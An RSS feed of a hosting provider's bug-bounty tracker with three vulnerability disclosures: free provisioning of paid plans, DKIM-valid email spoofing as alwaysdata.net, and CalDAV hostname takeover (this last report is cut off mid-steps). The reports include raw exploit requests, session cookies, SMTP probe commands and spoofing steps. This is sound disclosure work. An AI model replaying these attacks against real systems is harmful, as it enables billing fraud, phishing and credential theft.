<?xml version="1.0" ?>
<rdf:RDF xmlns:dc="http://purl.org/dc/elements/1.1/" 
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" 
  xmlns="http://purl.org/rss/1.0/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel rdf:about="https://security.alwaysdata.com/">
    <title>alwaysdata </title>
    <link>https://security.alwaysdata.com/</link>
    <description>alwaysdata Security vulnerabilities: Recently edited tasks</description>
    <dc:date>2026-09-23T07:19:47Z</dc:date>
    <items>
      <rdf:Seq>
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/490" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/481" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/485" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/488" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/483" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/480" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/479" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/478" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/477" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/475" />
              </rdf:Seq>
    </items>
    		
  </channel>
    <item rdf:about="https://security.alwaysdata.com/task/490">
    <title>FS#490: Paid Hosting Plan Provisioned Without Payment </title>
    <link>https://security.alwaysdata.com/task/490</link>
    <dc:date>2026-09-23T07:19:47Z</dc:date>
    <dc:creator>whatnotsecure</dc:creator>
     <description>

Severity: Critical CVSS Score 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) 



Description Any authenticated user on the free tier can provision paid hosting accounts (Small, Medium, Large, X-Large) without providing payment information. The account creation form at /admin/account/add/ accepts paid product IDs and provisions full resources immediately. Additionally, existing accounts can be upgraded to any tier or downgraded to Free via the account edit form, all without payment validation. 



Impact • Resource Theft: Attacker gets up to 500GB disk, 8GB RAM, 8 CPU cores for free (X-Large plan worth €1,800/year) • Infrastructure Abuse: SSH access auto-provisioned, cron jobs available for crypto mining/spam/C2 • Financial Loss: Each plan costs real money; mass abuse causes significant revenue loss • Bidirectional Manipulation: Accounts can be downgraded to Free to evade billing, then upgraded again • Repeat Exploitation: Single user account can create multiple paid accounts 



Steps to Reproduce Step 1: Login to admin.alwaysdata.com with a free-tier account Step 2: Navigate to /admin/account/add/ Step 3: Submit the following POST request to create a paid account without payment: • Request — Create Paid Account (Small Plan): 



POST /admin/account/add/ HTTP/1.1 Host: admin.alwaysdata.com Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU Referer: https://admin.alwaysdata.com/admin/account/add/ Origin: https://admin.alwaysdata.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: 164 Content-Type: application/x-www-form-urlencoded csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&amp;amp;name=paidtest2&amp;amp;password=TestPass123!&amp;amp;product=2008&amp;amp;period=1y&amp;amp;location=datacenter_3&amp;amp;contract_28=on&amp;amp;contract_36=on 



HTTP/1.1 302 Found Location: /subscription/ Server: nginx Product IDs: 2008=Small (50GB/1GB/1CPU), 2009=Medium, 2010=Large, 2011=X-Large (500GB/8GB/8CPU), 2012=Free 



Step 4: Verify the subscription page confirms the paid account: GET /subscription/ HTTP/1.1 Host: admin.alwaysdata.com Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o 



HTTP/1.1 200 OK Object: paidtest2 | Product: Small (50GB disk, 1GB RAM, 1 CPU) | Renewal: Oct. 22, 2026 Object: xltest | Product: X-Large (500GB disk, 8GB RAM, 8 CPU) | Renewal: Oct. 22, 2026 | €1,800.00 Step 5: Upgrade existing account to X-Large without payment: 



POST /admin/account/501195/ HTTP/1.1 Host: admin.alwaysdata.com Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU Referer: https://admin.alwaysdata.com/admin/account/501195/ Content-Length: 65 Content-Type: application/x-www-form-urlencoded csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&amp;amp;product=2011 



HTTP/1.1 302 Found Location: /subscription/ product=2011 upgrades to X-Large (€1,800/year) — no payment required 



Recommendation Implement server-side payment verification before provisioning any non-free product. Validate that: (1) A valid payment method is on file, (2) Sufficient balance exists or payment is authorized, (3) The requested product change is within the customer&amp;#039;s billing tier. 

</description>
    <content:encoded><![CDATA[
<p>
Severity: Critical <br />CVSS Score 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) 
</p>

<p>
Description <br />Any authenticated user on the free tier can provision paid hosting accounts (Small, Medium, Large, X-Large) without providing payment information. The account creation form at /admin/account/add/ accepts paid product IDs and provisions full resources immediately. <br />Additionally, existing accounts can be upgraded to any tier or downgraded to Free via the account edit form, all without payment validation. 
</p>

<p>
Impact <br />• Resource Theft: Attacker gets up to 500GB disk, 8GB RAM, 8 CPU cores for free (X-Large plan worth €1,800/year) <br />• Infrastructure Abuse: <acronym title="Secure Shell">SSH</acronym> access auto-provisioned, cron jobs available for crypto mining/spam/C2 <br />• Financial Loss: Each plan costs real money; mass abuse causes significant revenue loss <br />• Bidirectional Manipulation: Accounts can be downgraded to Free to evade billing, then upgraded again <br />• Repeat Exploitation: Single user account can create multiple paid accounts 
</p>

<p>
Steps to Reproduce <br />Step 1: Login to admin.alwaysdata.com with a free-tier account <br />Step 2: Navigate to /admin/account/add/ <br />Step 3: Submit the following POST request to create a paid account without payment: <br />• Request — Create Paid Account (Small Plan): 
</p>

<p>
POST /admin/account/add/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 <br />Host: admin.alwaysdata.com <br />Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU <br />Referer: <a href="https://admin.alwaysdata.com/admin/account/add/" class="urlextern" title="https://admin.alwaysdata.com/admin/account/add/"  rel="nofollow">https://admin.alwaysdata.com/admin/account/add/</a> <br />Origin: <a href="https://admin.alwaysdata.com" class="urlextern" title="https://admin.alwaysdata.com"  rel="nofollow">https://admin.alwaysdata.com</a> <br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 <br />Content-Length: 164 <br />Content-Type: application/x-www-form-urlencoded <br />csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&amp;name=paidtest2&amp;password=TestPass123!&amp;product=2008&amp;period=1y&amp;loc<br />ation=datacenter_3&amp;contract_28=on&amp;contract_36=on 
</p>

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 302 Found <br />Location: /subscription/ <br />Server: nginx <br />Product IDs: 2008=Small (50GB/1GB/1CPU), 2009=Medium, 2010=Large, 2011=X-Large (500GB/8GB/8CPU), 2012=Free 
</p>

<p>
Step 4: Verify the subscription page confirms the paid account: <br />GET /subscription/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 <br />Host: admin.alwaysdata.com <br />Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o 
</p>

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK <br />Object: paidtest2 | Product: Small (50GB disk, 1GB RAM, 1 CPU) | Renewal: Oct. 22, 2026 <br />Object: xltest | Product: X-Large (500GB disk, 8GB RAM, 8 CPU) | Renewal: Oct. 22, 2026 | €1,800.00 <br />Step 5: Upgrade existing account to X-Large without payment: 
</p>

<p>
POST /admin/account/501195/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 <br />Host: admin.alwaysdata.com <br />Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU <br />Referer: <a href="https://admin.alwaysdata.com/admin/account/501195/" class="urlextern" title="https://admin.alwaysdata.com/admin/account/501195/"  rel="nofollow">https://admin.alwaysdata.com/admin/account/501195/</a> <br />Content-Length: 65 <br />Content-Type: application/x-www-form-urlencoded <br />csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&amp;product=2011 
</p>

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 302 Found <br />Location: /subscription/ <br />product=2011 upgrades to X-Large (€1,800/year) — no payment required 
</p>

<p>
Recommendation <br />Implement server-side payment verification before provisioning any non-free product. <br />Validate that: <br />(1) A valid payment method is on file, <br />(2) Sufficient balance exists or payment is authorized, <br />(3) The requested product change is within the customer&#039;s billing tier. <br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/481">
    <title>FS#481: Any account can send fully authenticated email as any @alwaysdata.net address</title>
    <link>https://security.alwaysdata.com/task/481</link>
    <dc:date>2026-09-21T12:49:13Z</dc:date>
    <dc:creator>Mahmoud Ragab</dc:creator>
     <description>

 Assets: webmail.alwaysdata.com (in scope) and the account submission service smtp-&amp;lt;account&amp;gt;.alwaysdata.net:465/587 (documented sending path, reached from the in-scope ssh-&amp;lt;account&amp;gt;.alwaysdata.net session). The vulnerable components are alwaysdata&amp;#039;s own mail infrastructure: their submission relays (smtpout1.paris1.alwaysdata.com), their DKIM signer (d=alwaysdata.net, s=default) and their SPF ranges.Class: CWE-290 (authentication bypass by spoofing) / CWE-863 (incorrect authorization)CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N — because the impact is on every receiving system that trusts alwaysdata&amp;#039;s mail authentication



 Summary



An account as cheap as Free can send email as any address in the alwaysdata.net domain — ceo@, support@, any name — and the platform relays and DKIM-signs it. The forgery is not cosmetic: it verifies.



- The webmail UI (webmail.alwaysdata.com, in scope) lets the user add an identity with an arbitrary email address, with no verification of ownership, and then offers that identity as a first-class sender in the compose From dropdown. A message sent this way is delivered with the forged From and a valid DKIM signature.- The submission service (smtp-&amp;lt;account&amp;gt;.alwaysdata.net:465, documented as the standard sending path) accepts any envelope sender from an authenticated account and relays it the same way.- Verified facts on the delivered messages: the platform&amp;#039;s relay signs them with DKIM d=alwaysdata.net s=default covering the attacker-chosen From header; the sending relay is inside alwaysdata.net&amp;#039;s own SPF range; and DMARC for alwaysdata.net is strict (aspf=s; adkim=s) with an exact domain match — so the forgery passes SPF, DKIM and DMARC at any policy-enforcing receiver.- End-to-end DKIM verification — header and body hash — passes on bytes fetched from alwaysdata&amp;#039;s own IMAP storage (the platform&amp;#039;s own mail store, no third-party mailbox involved): `dkim.verify(…) == True`.



Impact: any customer (or any phished/compromised account, or anyone willing to spend a Free signup) can send email that receiving providers authenticate as genuinely sent by alwaysdata.net — phishing alwaysdata&amp;#039;s own customers with, for example, &amp;quot;your hosting account is about to be suspended&amp;quot; notifications that carry valid authentication. The same primitive lets the platform&amp;#039;s outbound infrastructure be abused for sending under its authenticated domain at will.



 Reproduction A — through the in-scope webmail UI (no tools beyond a browser)



1. Log in at https://webmail.alwaysdata.com/ with any account.2. Settings → Identities → Create. Enter any email address in the alwaysdata.net domain, e.g.:

     Display name: Alwaysdata Support
     Email:        ceo@alwaysdata.net
 The form accepts it and offers no ownership verification; the identity is saved and listed.


3. Compose a message. The From dropdown now contains &amp;quot;Alwaysdata Support ceo@alwaysdata.net&amp;quot; alongside the account&amp;#039;s own address. Select it, address the message anywhere, and send.4. The send result reports &amp;quot;Message sent successfully&amp;quot;. The message is delivered with:

     From:            Alwaysdata Support &amp;lt;ceo@alwaysdata.net&amp;gt;
     Return-Path:     &amp;lt;ceo@alwaysdata.net&amp;gt;
     DKIM-Signature:  v=1; a=rsa-sha256; c=relaxed/relaxed;
                      d=alwaysdata.net; s=default; h=Date:Message-Id:Subject:To:From: ...


5. Cryptographic verification of the delivered message, performed on the bytes fetched from alwaysdata&amp;#039;s own IMAP server (the platform&amp;#039;s mail store): 

     $ python3 -c &amp;quot;import dkim; print(dkim.verify(raw_message))&amp;quot;
     True
 Header signature and body hash both pass. In addition, alwaysdata&amp;#039;s own inbound mail pipeline evaluated the forged message and recorded its verdict in the delivered headers:
     X-alwaysdata-Spam-Report: ... DMARC_POLICY_ALLOW [alwaysdata.net, quarantine]
                                - DMARC permit policy
     X-alwaysdata-Spam-Score: -4.87
 That is the platform&amp;#039;s own DMARC evaluation accepting the forged mail for the alwaysdata.net domain (the negative score makes it less spam-like than ordinary mail). The full cycle was then reproduced independently from a clean state — identity removed, re-created through the same UI steps, a new message sent and verified again with the same results (`dkim.verify == True`, `DMARC_POLICY_ALLOW`, score -3.21). SPF: the delivering relay 2a00:b6e0:1:a022::1 is inside alwaysdata.net&amp;#039;s own published range:
     $ dig +short TXT _spf.alwaysdata.com
     &amp;quot;v=spf1 ip4:185.31.40.0/22 ip4:188.72.70.0/24 ip4:78.142.219.0/24
             ip6:2a00:b6e0::/32 ...&amp;quot;
 alwaysdata.net&amp;#039;s published policy:
     $ dig +short TXT _dmarc.alwaysdata.net
     &amp;quot;v=DMARC1; p=quarantine; sp=quarantine; aspf=s; adkim=s; ...&amp;quot;
 The From domain and the signing domain are both alwaysdata.net — an exact match — so strict alignment passes and the message satisfies DMARC. (The DKIM public key used for local verification: `dig +short TXT default._domainkey.alwaysdata.net`; the signature was additionally verified directly against it with `openssl dgst -sha256 -verify ... -&amp;gt; Verified OK`.)


Reproduction B — through the documented submission service (any script, any MUA)



1. Connect and authenticate with the account&amp;#039;s own mailbox credentials (the service and hostname are documented at help.alwaysdata.com → &amp;quot;Configuring Thunderbird&amp;quot;: smtp-&amp;lt;account&amp;gt;.alwaysdata.net, port 465): 

     python3 -c &amp;#039;
     import smtplib,ssl
     c=ssl.create_default_context(); c.check_hostname=False; c.verify_mode=ssl.CERT_NONE
     s=smtplib.SMTP_SSL(&amp;quot;smtp-zchill.alwaysdata.net&amp;quot;,465,context=c)
     s.login(&amp;quot;zchill@alwaysdata.net&amp;quot;,&amp;quot;&amp;lt;account password&amp;gt;&amp;quot;)    # Authentication succeeded
     &amp;#039;


 2. Envelope probes — the server accepts any sender, authenticated as the tester&amp;#039;s own mailbox: 

     MAIL FROM:&amp;lt;zchill@alwaysdata.net&amp;gt;       -&amp;gt; 250 OK
     MAIL FROM:&amp;lt;ceo@alwaysdata.net&amp;gt;          -&amp;gt; 250 OK
     MAIL FROM:&amp;lt;cbay@alwaysdata.com&amp;gt;         -&amp;gt; 250 OK
     MAIL FROM:&amp;lt;totally-random@example.org&amp;gt;  -&amp;gt; 250 OK
     (each RCPT → 250 Accepted; connection reset before DATA)
 The same probes succeed from an external machine on port 587 (STARTTLS), confirming the vector is not restricted to the platform&amp;#039;s internal network.


 3. A message composed with From: Alwaysdata Support ceo@alwaysdata.net and envelope ceo@alwaysdata.net, sent to the tester&amp;#039;s own mailbox on the platform, is delivered and verifies exactly as in Reproduction A step 5.



Control (what the service does correctly): an unauthenticated session is refused at message acceptance: 

     MAIL FROM:&amp;lt;ceo@alwaysdata.net&amp;gt; -&amp;gt; 250 OK
     RCPT TO:&amp;lt;...&amp;gt;                  -&amp;gt; 250 Accepted
     DATA                           -&amp;gt; 550 relay not permitted: you must be authenticated to send messages
 So this is not an open relay: the failure is that once authenticated, no sender ownership is enforced and the platform signs what it is given.


On &amp;quot;working as intended&amp;quot;



- If arbitrary senders were intended, the platform would not maintain strict DMARC (aspf=s; adkim=s) and a dedicated abuse contact for its own domain, and the webmail would not have an identities subsystem at all. The customer-facing way to send as a custom domain is to add the domain after verification; @alwaysdata.net is never a customer domain.- The expectation that recipients can trust alwaysdata.net mail is the entire purpose of SPF, DKIM and DMARC here — this finding is a sender-authentication bypass of that trust, performed by any account the platform itself issues.- The service performs one check correctly (authentication required) and fails the next (sender authorization), so the control gap is precise and fixable.



 Suggested fix



1. Enforce sender authorization at submission: the authenticated mailbox may send only as its own address plus addresses of domains it verifiably owns (the panel&amp;#039;s own domain-ownership validation is the right registry). Reject other envelope senders at MAIL FROM, and cross-check the From header.2. Validate identity emails in the webmail against that same registry (or restrict identity creation to the account&amp;#039;s own addresses).3. Do not apply the alwaysdata.net DKIM signature to messages whose From: is not an authorized alwaysdata.net identity; align the signer with the sender-authorization decision.

</description>
    <content:encoded><![CDATA[
<p>
 Assets: webmail.alwaysdata.com (in scope) and the account submission service smtp-&lt;account&gt;.alwaysdata.net:465/587 (documented sending path, reached from the in-scope ssh-&lt;account&gt;.alwaysdata.net session). The vulnerable components are alwaysdata&#039;s own mail infrastructure: their submission relays (smtpout1.paris1.alwaysdata.com), their DKIM signer (d=alwaysdata.net, s=default) and their SPF ranges.<br />Class: CWE-290 (authentication bypass by spoofing) / CWE-863 (incorrect authorization)<br />CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N — because the impact is on every receiving system that trusts alwaysdata&#039;s mail authentication
</p>

<p>
 Summary
</p>

<p>
An account as cheap as Free can send email as any address in the alwaysdata.net domain — ceo@, support@, any name — and the platform relays and DKIM-signs it. The forgery is not cosmetic: it verifies.
</p>

<p>
- The webmail UI (webmail.alwaysdata.com, in scope) lets the user add an identity with an arbitrary email address, with no verification of ownership, and then offers that identity as a first-class sender in the compose From dropdown. A message sent this way is delivered with the forged From and a valid DKIM signature.<br />- The submission service (smtp-&lt;account&gt;.alwaysdata.net:465, documented as the standard sending path) accepts any envelope sender from an authenticated account and relays it the same way.<br />- Verified facts on the delivered messages: the platform&#039;s relay signs them with DKIM d=alwaysdata.net s=default covering the attacker-chosen From header; the sending relay is inside alwaysdata.net&#039;s own SPF range; and DMARC for alwaysdata.net is strict (aspf=s; adkim=s) with an exact domain match — so the forgery passes SPF, DKIM and DMARC at any policy-enforcing receiver.<br />- End-to-end DKIM verification — header and body hash — passes on bytes fetched from alwaysdata&#039;s own <acronym title="Internet Message Access Protocol">IMAP</acronym> storage (the platform&#039;s own mail store, no third-party mailbox involved): `dkim.verify(…) == True`.
</p>

<p>
Impact: any customer (or any phished/compromised account, or anyone willing to spend a Free signup) can send email that receiving providers authenticate as genuinely sent by alwaysdata.net — phishing alwaysdata&#039;s own customers with, for example, &quot;your hosting account is about to be suspended&quot; notifications that carry valid authentication. The same primitive lets the platform&#039;s outbound infrastructure be abused for sending under its authenticated domain at will.
</p>

<p>
 Reproduction A — through the in-scope webmail UI (no tools beyond a browser)
</p>

<p>
1. Log in at <a href="https://webmail.alwaysdata.com/" class="urlextern" title="https://webmail.alwaysdata.com/"  rel="nofollow">https://webmail.alwaysdata.com/</a> with any account.<br />2. Settings → Identities → Create. Enter any email address in the alwaysdata.net domain, e.g.:
</p>
<pre class="code">     Display name: Alwaysdata Support
     Email:        ceo@alwaysdata.net
 The form accepts it and offers no ownership verification; the identity is saved and listed.</pre>

<p>
3. Compose a message. The From dropdown now contains &quot;Alwaysdata Support <a href="mailto:ceo@alwaysdata.net" class="mail JSnocheck" title="ceo@alwaysdata.net">ceo@alwaysdata.net</a>&quot; alongside the account&#039;s own address. Select it, address the message anywhere, and send.<br />4. The send result reports &quot;Message sent successfully&quot;. The message is delivered with:
</p>
<pre class="code">     From:            Alwaysdata Support &lt;ceo@alwaysdata.net&gt;
     Return-Path:     &lt;ceo@alwaysdata.net&gt;
     DKIM-Signature:  v=1; a=rsa-sha256; c=relaxed/relaxed;
                      d=alwaysdata.net; s=default; h=Date:Message-Id:Subject:To:From: ...</pre>

<p>
5. Cryptographic verification of the delivered message, performed on the bytes fetched from alwaysdata&#039;s own <acronym title="Internet Message Access Protocol">IMAP</acronym> server (the platform&#039;s mail store): 
</p>
<pre class="code">     $ python3 -c &quot;import dkim; print(dkim.verify(raw_message))&quot;
     True</pre>
<pre class="code"> Header signature and body hash both pass. In addition, alwaysdata&#039;s own inbound mail pipeline evaluated the forged message and recorded its verdict in the delivered headers:</pre>
<pre class="code">     X-alwaysdata-Spam-Report: ... DMARC_POLICY_ALLOW [alwaysdata.net, quarantine]
                                - DMARC permit policy
     X-alwaysdata-Spam-Score: -4.87</pre>
<pre class="code"> That is the platform&#039;s own DMARC evaluation accepting the forged mail for the alwaysdata.net domain (the negative score makes it less spam-like than ordinary mail). The full cycle was then reproduced independently from a clean state — identity removed, re-created through the same UI steps, a new message sent and verified again with the same results (`dkim.verify == True`, `DMARC_POLICY_ALLOW`, score -3.21). SPF: the delivering relay 2a00:b6e0:1:a022::1 is inside alwaysdata.net&#039;s own published range:</pre>
<pre class="code">     $ dig +short TXT _spf.alwaysdata.com
     &quot;v=spf1 ip4:185.31.40.0/22 ip4:188.72.70.0/24 ip4:78.142.219.0/24
             ip6:2a00:b6e0::/32 ...&quot;</pre>
<pre class="code"> alwaysdata.net&#039;s published policy:</pre>
<pre class="code">     $ dig +short TXT _dmarc.alwaysdata.net
     &quot;v=DMARC1; p=quarantine; sp=quarantine; aspf=s; adkim=s; ...&quot;</pre>
<pre class="code"> The From domain and the signing domain are both alwaysdata.net — an exact match — so strict alignment passes and the message satisfies DMARC. (The DKIM public key used for local verification: `dig +short TXT default._domainkey.alwaysdata.net`; the signature was additionally verified directly against it with `openssl dgst -sha256 -verify ... -&gt; Verified OK`.)</pre>

<p>
Reproduction B — through the documented submission service (any script, any MUA)
</p>

<p>
1. Connect and authenticate with the account&#039;s own mailbox credentials (the service and hostname are documented at help.alwaysdata.com → &quot;Configuring Thunderbird&quot;: smtp-&lt;account&gt;.alwaysdata.net, port 465): 
</p>
<pre class="code">     python3 -c &#039;
     import smtplib,ssl
     c=ssl.create_default_context(); c.check_hostname=False; c.verify_mode=ssl.CERT_NONE
     s=smtplib.SMTP_SSL(&quot;smtp-zchill.alwaysdata.net&quot;,465,context=c)
     s.login(&quot;zchill@alwaysdata.net&quot;,&quot;&lt;account password&gt;&quot;)    # Authentication succeeded
     &#039;</pre>

<p>
 2. Envelope probes — the server accepts any sender, authenticated as the tester&#039;s own mailbox: 
</p>
<pre class="code">     MAIL FROM:&lt;zchill@alwaysdata.net&gt;       -&gt; 250 OK
     MAIL FROM:&lt;ceo@alwaysdata.net&gt;          -&gt; 250 OK
     MAIL FROM:&lt;cbay@alwaysdata.com&gt;         -&gt; 250 OK
     MAIL FROM:&lt;totally-random@example.org&gt;  -&gt; 250 OK
     (each RCPT → 250 Accepted; connection reset before DATA)</pre>
<pre class="code"> The same probes succeed from an external machine on port 587 (STARTTLS), confirming the vector is not restricted to the platform&#039;s internal network.</pre>

<p>
 3. A message composed with From: Alwaysdata Support <a href="mailto:ceo@alwaysdata.net" class="mail JSnocheck" title="ceo@alwaysdata.net">ceo@alwaysdata.net</a> and envelope ceo@alwaysdata.net, sent to the tester&#039;s own mailbox on the platform, is delivered and verifies exactly as in Reproduction A step 5.
</p>

<p>
Control (what the service does correctly): an unauthenticated session is refused at message acceptance: 
</p>
<pre class="code">     MAIL FROM:&lt;ceo@alwaysdata.net&gt; -&gt; 250 OK
     RCPT TO:&lt;...&gt;                  -&gt; 250 Accepted
     DATA                           -&gt; 550 relay not permitted: you must be authenticated to send messages</pre>
<pre class="code"> So this is not an open relay: the failure is that once authenticated, no sender ownership is enforced and the platform signs what it is given.</pre>

<p>
On &quot;working as intended&quot;
</p>

<p>
- If arbitrary senders were intended, the platform would not maintain strict DMARC (aspf=s; adkim=s) and a dedicated abuse contact for its own domain, and the webmail would not have an identities subsystem at all. The customer-facing way to send as a custom domain is to add the domain after verification; @alwaysdata.net is never a customer domain.<br />- The expectation that recipients can trust alwaysdata.net mail is the entire purpose of SPF, DKIM and DMARC here — this finding is a sender-authentication bypass of that trust, performed by any account the platform itself issues.<br />- The service performs one check correctly (authentication required) and fails the next (sender authorization), so the control gap is precise and fixable.
</p>

<p>
 Suggested fix
</p>

<p>
1. Enforce sender authorization at submission: the authenticated mailbox may send only as its own address plus addresses of domains it verifiably owns (the panel&#039;s own domain-ownership validation is the right registry). Reject other envelope senders at MAIL FROM, and cross-check the From header.<br />2. Validate identity emails in the webmail against that same registry (or restrict identity creation to the account&#039;s own addresses).<br />3. Do not apply the alwaysdata.net DKIM signature to messages whose From: is not an authorized alwaysdata.net identity; align the signer with the sender-authorization decision.
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/485">
    <title>FS#485: Cross-Customer Account Takeover via CalDAV Hostname Seizure</title>
    <link>https://security.alwaysdata.com/task/485</link>
    <dc:date>2026-09-21T12:24:09Z</dc:date>
    <dc:creator>Bajinder Kumar</dc:creator>
     <description>

VULNERABILITY INFORMATION:



Name of Vulnerability: An incomplete service-prefix blocklist on the account &amp;quot;name&amp;quot; field lets one customer claim the DNS record of another customer&amp;#039;s CalDAV or CardDAV service in the shared alwaysdata.net zone.



The user-facing site address field refuses such a hostname, but the auto-provisioner that creates an account&amp;#039;s default address does not run that check. As a result, the DNS record is silently reassigned and the victim&amp;#039;s client can deliver its HTTP Basic credential to the attacker over Alwaysdata&amp;#039;s own wildcard certificate.



Vulnerability Category:Access Control Issues / Broken authentication &amp;amp; session management / Exposure of Sensitive Information, per the qualifying list on your bug bounty page.



Description:



An account&amp;#039;s name is used to generate that account&amp;#039;s per-service alwaysdata.net zone.



You already recognise the risk and maintain a blocklist of service prefixes for the name field, but it covers only 8 of the 10 prefixes your own interface documents.



&amp;quot;imap-&amp;quot; and &amp;quot;carddav-&amp;quot; are missing, along with the other omitted service prefixes, and the relevant services authenticate with a plaintext password on every connection.



Creating a free account called:



caldav-&amp;lt;victim&amp;gt;



therefore takes over:



caldav-&amp;lt;victim&amp;gt;.alwaysdata.net



which is the CalDAV endpoint your own panel tells customer &amp;lt;victim&amp;gt; to configure.



The DNS record moves to the attacker&amp;#039;s web node, and your wildcard certificate for the hostname remains valid. A request carrying an Authorization: Basic header for that hostname therefore lands in the attacker&amp;#039;s own web root.



That password is the account&amp;#039;s service password described at /admin/account/add/ as being used for default users such as FTP, MySQL and SSH.



Two code paths disagree, and that disagreement is the defect.



The user-facing site address field correctly refuses a hostname the attacker does not own:



caldav-vk7victim.alwaysdata.net



is rejected with:



&amp;quot;The domain name alwaysdata.net does not belong to you&amp;quot;



and:



vk7victim.alwaysdata.net



is rejected with:



&amp;quot;delegated to the vk7victim account&amp;quot;.



The auto-provisioner&amp;#039;s DEFAULT address on account creation does not run that check.



Only the path a customer cannot see is blind.



SCOPE NOTE, established by testing rather than assumed:



Of the four forgotten prefixes, only &amp;quot;caldav-&amp;quot; and &amp;quot;carddav-&amp;quot; are exploitable this way because those services run over the ports the attacker&amp;#039;s web node serves.



I checked the other prefixes rather than claiming them:



```185.31.41.11  the attacker&amp;#039;s web node       443 OPEN    993 closed 110 closed185.31.40.62  the real IMAP and POP host    993 OPEN    995 OPEN    143 OPEN    443 closed185.31.41.92  the real CalDAV host          443 OPEN    993 closed```



Seizing imap-&amp;lt;victim&amp;gt; or pop-&amp;lt;victim&amp;gt; therefore points the victim&amp;#039;s mail hostname at a host where the relevant mail ports are closed. That disrupts the victim&amp;#039;s mail rather than capturing credentials.



Because mail service is outside the programme&amp;#039;s scope, I make NO claim about those two prefixes beyond the blocklist gap itself.



Everything below is specific to caldav- and carddav-.



Vulnerable Instances:



POST https://admin.alwaysdata.com/admin/account/add/ field &amp;quot;name&amp;quot;



POST https://admin.alwaysdata.com/account/&amp;lt;id&amp;gt;/rename/field &amp;quot;name&amp;quot;



POST https://www.alwaysdata.com/en/register/ free self-service signup, no captcha



The DNS auto-provisioner creates an account&amp;#039;s default alwaysdata.net zone.



Steps to Reproduce:



Total cost: EUR 0, approximately four minutes.



Every account involved is one I own, and the &amp;quot;victim&amp;quot; record belongs to my own second account.



1. The blocklist gap. 

 Each row below is a single POST to /admin/account/add/ showing the validator&amp;#039;s verdict on the name field.
 ssh-vk7victim         -&amp;gt; &amp;quot;This name contains an invalid prefix.&amp;quot;
 ftp-vk7victim         -&amp;gt; &amp;quot;This name contains an invalid prefix.&amp;quot;
 smtp-vk7victim        -&amp;gt; &amp;quot;This name contains an invalid prefix.&amp;quot;
 webdav-vk7victim      -&amp;gt; &amp;quot;This name contains an invalid prefix.&amp;quot;
 mysql-vk7victim       -&amp;gt; &amp;quot;This name contains an invalid prefix.&amp;quot;
 postgresql-vk7victim  -&amp;gt; &amp;quot;This name contains an invalid prefix.&amp;quot;
 rabbitmq-vk7victim    -&amp;gt; &amp;quot;This name contains an invalid prefix.&amp;quot;
 services-vk7victim    -&amp;gt; &amp;quot;This name contains an invalid prefix.&amp;quot;
 imap-vk7victim        -&amp;gt; ACCEPTED, no prefix error
 pop-vk7victim         -&amp;gt; ACCEPTED, no prefix error
 caldav-vk7victim      -&amp;gt; ACCEPTED, no prefix error
 carddav-vk7victim     -&amp;gt; ACCEPTED, no prefix error
 The charset validator is separate and works correctly. Invalid characters are rejected, while alphabetic, numeric and hyphen characters are accepted.
 Uniqueness is case-insensitive, so VK7RESEARCH is refused.


 2. Obtain a second free account. 

 /admin/account/add/ refuses a second free product for one user, so I used the public signup, which is free and has no captcha.
 POST https://www.alwaysdata.com/en/register/
 email=&amp;lt;ours&amp;gt;[+x@alwaysdata.net](mailto:+x@alwaysdata.net) &amp;amp; password=... &amp;amp; privacy_policy=on

&amp;gt; HTTP 302




   Location: /login/?user_id=&amp;lt;dec&amp;gt;&amp;amp;expiration=&amp;lt;ts&amp;gt;&amp;amp;token=&amp;lt;epoch&amp;gt;-&amp;lt;hmac&amp;gt; 

 Plus addressing on my own platform mailbox works, so the validation message can be received.
 imap-&amp;lt;ours&amp;gt;.alwaysdata.net:993 with the service password.
 I completed:
 /user/validate/?user_id=&amp;lt;b36&amp;gt;&amp;amp;token=...
 and then POST /login/.


